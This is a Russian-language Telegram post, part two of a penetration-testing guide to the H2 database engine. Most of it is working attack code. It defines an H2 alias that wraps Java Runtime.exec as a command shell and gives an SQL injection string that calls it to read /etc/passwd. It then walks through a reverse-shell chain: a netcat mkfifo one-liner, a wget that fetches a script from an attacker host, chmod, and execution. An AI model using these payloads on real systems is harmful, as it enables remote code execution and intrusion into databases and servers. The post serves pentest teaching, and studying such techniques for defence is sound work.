Telegram-канал poxek - Похек: Неотсортированное

Похек

05 июня 2025 09:04

Гайд по пентесту СУБД H2. Вторая часть
#H2 #Java #pentest #research #SQLi

ЧАСТЬ 1 - ЧАСТЬ 2

2️⃣ Удобный, но более жирный по коду вектор
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.

   CREATE ALIAS EXEC AS
      'String e(String cmd) throws java.io.IOException {
         // Формируем массив аргументов для выполнения команды в bash:
         String[] c = {"/bin/bash", "-c", cmd};

         // Запускаем процесс с указанной командой
         Process p = Runtime.getRuntime().exec(c);

         // Получаем поток вывода (stdout) запущенного процесса
         java.io.InputStream stdIn = p.getInputStream();
         // Оборачиваем InputStream в InputStreamReader для чтения символов
         java.io.InputStreamReader isr = new java.io.InputStreamReader(stdIn);
         // Оборачиваем InputStreamReader в BufferedReader для построчного чтения
         java.io.BufferedReader br = new java.io.BufferedReader(isr);

         // Переменная для накопления всего вывода команды
         String result = "";
         // Временная переменная для чтения текущей строки
         String line = "";

         // Считываем строки из вывода процесса до тех пор, пока они есть
         while ((line = br.readLine()) != null)
            // Добавляем каждую строку к результату (без перевода строки)
            result += line;

         // Возвращаем весь накопленный вывод команды как одну строку
         return result;
      }';

По сути мы напрогали себе shell на java))

Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.

something' CALL EXEC('cat /etc/passwd'); --

➡️Как получить reverse shell?
Тут уже по классике cmd inj)

# сначала пишем на rev shell в файл. Как пример:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" > shell.sh

Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем python3 http.server в папке, где хранится shell.sh

Далее идём снова в Repeater и скачиваем файл на атакуемую систему

CALL EXEC('wget http://10.10.10.10:8080/shell.sh -O /tmp/shell.sh');

Выдаём права

CALL EXEC('chmod +x /tmp/shell.sh');

Запускаем у себя лисенер, после на атакуемой тачке рев шелл

CALL EXEC('bash /tmp/shell.sh');

Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)

P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/

🌚 @poxek | 🌚 Блог | 📺 poxek_official/videos">YT | 📺 RT | 📺 poxek_official">VK | 🌚 Мерч